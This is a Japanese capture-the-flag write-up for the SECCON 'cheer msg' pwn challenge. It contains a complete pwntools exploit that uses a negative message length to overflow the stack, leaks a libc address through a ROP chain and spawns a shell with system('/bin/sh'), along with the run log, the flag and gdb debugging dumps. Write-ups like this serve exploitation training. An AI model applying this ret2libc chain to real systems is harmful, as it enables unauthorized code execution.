---
lang: ja-jp
breaks: true
---
cheer msg
===
## 問題概要
### ジャンル
Exploit
### 点数
100points
### 問題文
cheer msg
Host : cheermsg.pwn.seccon.jp
Port : 30527
cheer_msg (SHA1 : a89bdbaf3a918b589e14446f88d51b2c63cb219f)
libc-2.19.so (SHA1 : c4dc1270c1449536ab2efbbe7053231f1a776368)
### フラグ
SECCON{N40.T_15_ju571c3}
### 挑戦者
K_atc
tkmru
## 解法
方針:
* 1回目のmainではinformation leak→main再呼び出しして終わり
* 2回目のmainでシェル呼び出し
```python=
from pwn import *
from sys import argv
# context.log_level = 'debug'
def bp():
raw_input("break point: ")
LOCAL = True
if len(argv) > 1 and argv[1] == "r":
LOCAL = False
BIN = "./cheer_msg"
"""libc
% readelf -s /usr/lib32/libc.so.6| grep " setbuf@@"
2266: 00066e20 25 FUNC GLOBAL DEFAULT 13 setbuf@@GLIBC_2.0
% readelf -s /usr/lib32/libc.so.6| grep " system@@"
1460: 0003af40 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
% strings -tx /usr/lib32/libc.so.6| grep "/bin/sh$"
15ef08 /bin/sh
[katc@K_atc cheer_msg]$ readelf -s libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep " system"
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
[katc@K_atc cheer_msg]$ readelf -s libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep " setbuf@@"
2246: 00067b20 35 FUNC GLOBAL DEFAULT 12 setbuf@@GLIBC_2.0
[katc@K_atc cheer_msg]$ strings -tx libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep "/bin/sh$"
16084c /bin/sh
"""
e = ELF(BIN)
r = None
offset = {}
if LOCAL:
r = process(BIN)
offset = {"setbuf": 0x66e20, "system": 0x3af40, "/bin/sh": 0x15ef08}
else:
r = remote("cheermsg.pwn.seccon.jp", 30527)
offset = {"setbuf": 0x67b20, "system": 0x40310, "/bin/sh": 0x16084c}
EIP_OFFSET = 32
"""stack layout
ebp+0: "AAAA" # saved ebp
ebp+4: printf # return address
ebp+8: 0x804a00c # setbuf@plt.got
ebp+c: main
"""
log.info("==== [information leak] ====")
ROP = ''.join([
p32(e.symbols["printf"]),
p32(e.symbols["main"]), # return address of printf(*)
p32(0x804887d), # "\nThank you %s!\nMessage : %s\n"
p32(0x804a00c),
p32(0x804a00c),
])
r.recvuntil("Message Length >> ")
r.sendline("-114")
r.recvuntil("Name >> ")
# bp()
r.sendline("A" * 32 + ROP) # name
r.recvuntil("Message : \n\n")
ret = r.recvline()[:-2] # trim '!\n'
print "ret = %r" % ret
leaked_addr = u32(ret[10:14]) # len("Thank you ")
print "setbuf() = %#x" % leaked_addr
# bp()
libc_base_addr = leaked_addr - offset["setbuf"]
system_addr = libc_base_addr + offset["system"]
binsh_addr = libc_base_addr + offset["/bin/sh"]
print "==== [libc info] ===="
print "libc base address = %#x" % libc_base_addr
print "system = %#x" % system_addr
print "'/bin/sh' = %#x" % binsh_addr
print "====================="
log.info('==== [system("/bin/sh")] ====')
ROP = ''.join([
p32(system_addr),
# "A"*4, # return address of system(*)
p32(binsh_addr),
p32(binsh_addr),
])
r.recvuntil("Message Length >> ")
r.sendline("-114")
r.recvuntil("Name >> ")
bp()
r.sendline("A" * 32 + ROP) # name
r.interactive()
```
```
[katc@K_atc cheer_msg]$ python2 cheer_msg.py r
[+] Opening connection to cheermsg.pwn.seccon.jp on port 30527: Done
[*] ==== [information leak] ====
ret = 'Thank you \x0bc\xf7\x10da\xf7\xa0\xccb\xf7V\x84\x04\x08f\x84\x04\x08\xc0\xd0e\xf7\xd0\xbfd\xf7'
setbuf() = 0xf7630b20
==== [libc info] ====
libc base address = 0xf75c9000
system = 0xf7609310
'/bin/sh' = 0xf772984c
=====================
[*] ==== [system("/bin/sh")] ====
break point:
[*] Switching to interactive mode
Thank you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x93`÷Lr÷Lr÷!
Message :
$ ls
cheer_msg
flag.txt
run.sh
$ cat flag.txt
SECCON{N40.T_15_ju571c3}
```
## 議論
- [x] libc base address のリーク
- [x] EIPを取る
- [x] system("/bin/sh") を呼ぶ
### Help!!
#### information leakできないように見える
```
% ./cheer_msg
Hello, I'm Nao.
Give me your cheering messages :)
Message Length >> 114 ←ユーザー入力(atoi)
Message >> tomori nao is awesome ←ユーザー入力(readline)
Oops! I forgot to ask your name...
Can you tell me your name?
Name >> tomori nao ←ユーザー入力(readline)
Thank you tomori nao!
Message : tomori nao is awesome
```
案:
* information leakからのret2vuln(main再呼び出し)
* information leakする内容は`__libc_start_main@plt.got`
↓ボツ
```
[ROP]
ebp+0: 0x114514 # saved ebp
ebp+4: printf # return address
ebp+8: 0x804a00c # setbuf@plt.got
ebp+c: main
```
printf@pltじゃなくてatoi@pltでもよくね?←いや無理だから
```
gdb-peda$ i func \@plt
All functions matching regular expression "\@plt":
Non-debugging symbols:
0x08048420 setbuf@plt
0x08048430 printf@plt
0x08048440 fgets@plt
0x08048450 __stack_chk_fail@plt
0x08048460 __gmon_start__@plt
0x08048470 strchr@plt
0x08048480 strlen@plt
0x08048490 __libc_start_main@plt
0x080484a0 atoi@plt
```
```
gdb-peda$ x/xw 0x804a00c
0x804a00c <setbuf@got.plt>: 0xf7e3de20
```
~~上の[ROP]を実行する直前~~
```
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffb3b6c0 ("\nThank you ", 'A' <repeats 32 times>, "0\204\004\b\f\240\004\bʅ\004\b!\nMessage : \n >> ge Length >> ")
EDX: 0xf7753850 --> 0x0
ESI: 0x1
EDI: 0xf7752000 --> 0x1b4d90
EBP: 0xffb3dc08 ("AAAA0\204\004\b\f\240\004\bʅ\004\b")
ESP: 0xffb3dc3c --> 0x8048632 (<main+104>: leave)
EIP: 0x80486bc (<message+128>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80486b4 <message+120>: je 0x80486bb <message+127>
0x80486b6 <message+122>: call 0x8048450 <__stack_chk_fail@plt>
0x80486bb <message+127>: leave
=> 0x80486bc <message+128>: ret
0x80486bd <getnline>: push ebp
0x80486be <getnline+1>: mov ebp,esp
0x80486c0 <getnline+3>: sub esp,0x28
0x80486c3 <getnline+6>: mov eax,ds:0x804a040
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080486bc in message ()
gdb-peda$ telescope $ebp
0000| 0xffb3dc08 ("AAAA0\204\004\b\f\240\004\bʅ\004\b")
0004| 0xffb3dc0c --> 0x8048430 (<printf@plt>: jmp DWORD PTR ds:0x804a010)
0008| 0xffb3dc10 --> 0x804a00c --> 0xf7603e20 (<setbuf>: sub esp,0x10)
0012| 0xffb3dc14 --> 0x80485ca (<main>: lea ecx,[esp+0x4])
0016| 0xffb3dc18 --> 0x0
0020| 0xffb3dc1c --> 0xf75b5196 (<__libc_start_main+246>: add esp,0x10)
0024| 0xffb3dc20 --> 0x1
0028| 0xffb3dc24 --> 0xffb3dcb4 --> 0xffb3f674 ("./cheer_msg")
```
### 試行s
length = -114、name = (pattcの出力文字列) で __EIP取れた__ が、このままでは __information leak不可__
``` [----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xffffaff0 ("\nThank you AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AA!\nMessage : \n")
EDX: 0xf7f8d850 --> 0x0
ESI: 0x1
EDI: 0xf7f8c000 --> 0x1b4d90
EBP: 0x413b4141 ('AA;A')
ESP: 0xffffd540 ("EAAaAA0AAFAAbAA1AAGAAcAA2AA")
EIP: 0x41412941 ('A)AA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41412941
[------------------------------------stack-------------------------------------]
0000| 0xffffd540 ("EAAaAA0AAFAAbAA1AAGAAcAA2AA")
0004| 0xffffd544 ("AA0AAFAAbAA1AAGAAcAA2AA")
0008| 0xffffd548 ("AFAAbAA1AAGAAcAA2AA")
0012| 0xffffd54c ("bAA1AAGAAcAA2AA")
0016| 0xffffd550 ("AAGAAcAA2AA")
0020| 0xffffd554 ("AcAA2AA")
0024| 0xffffd558 --> 0x414132 ('2AA')
0028| 0xffffd55c --> 0x86dce400
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41412941 in ?? ()
gdb-peda$ patto 0x41412941
1094789441 found at offset: 32
```
length = 1145141919114514 で落ちる(ESP破壊)
```
[----------------------------------registers-----------------------------------]
EAX: 0x7fffffff
EBX: 0x0
ECX: 0x10
EDX: 0xd ('\r')
ESI: 0x1
EDI: 0xf7f8c000 --> 0x1b4d90
EBP: 0xffffd538 --> 0x0
ESP: 0x7fffd500
EIP: 0x8048623 (<main+89>: mov DWORD PTR [esp+0x4],eax)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804861a <main+80>: shl eax,0x4
0x804861d <main+83>: mov DWORD PTR [ebp-0xc],eax
0x8048620 <main+86>: mov eax,DWORD PTR [ebp-0x10]
=> 0x8048623 <main+89>: mov DWORD PTR [esp+0x4],eax
0x8048627 <main+93>: mov eax,DWORD PTR [ebp-0xc]
0x804862a <main+96>: mov DWORD PTR [esp],eax
0x804862d <main+99>: call 0x804863c <message>
0x8048632 <main+104>: leave
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x7fffd500
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08048623 in main ()
gdb-peda$
```
length = -1
```
[----------------------------------registers-----------------------------------]
EAX: 0xffffd510 --> 0x80487e0 ("Hello, I'm Nao.\nGive me your cheering messages :)\n\nMessage Length >> ")
EBX: 0x0
ECX: 0x10
EDX: 0xd ('\r')
ESI: 0x1
EDI: 0xf7f8c000 --> 0x1b4d90
EBP: 0xffffd538 --> 0x0
ESP: 0xffffd500 --> 0xffffd510 --> 0x80487e0 ("Hello, I'm Nao.\nGive me your cheering messages :)\n\nMessage Length >> ")
EIP: 0x804862d (<main+99>: call 0x804863c <message>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048623 <main+89>: mov DWORD PTR [esp+0x4],eax
0x8048627 <main+93>: mov eax,DWORD PTR [ebp-0xc]
0x804862a <main+96>: mov DWORD PTR [esp],eax
=> 0x804862d <main+99>: call 0x804863c <message>
0x8048632 <main+104>: leave
0x8048633 <main+105>: ret
0x8048634 <main+106>: nop
0x8048635 <main+107>: nop
Guessed arguments:
arg[0]: 0xffffd510 --> 0x80487e0 ("Hello, I'm Nao.\nGive me your cheering messages :)\n\nMessage Length >> ")
arg[1]: 0xffffffff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804862d in main ()
```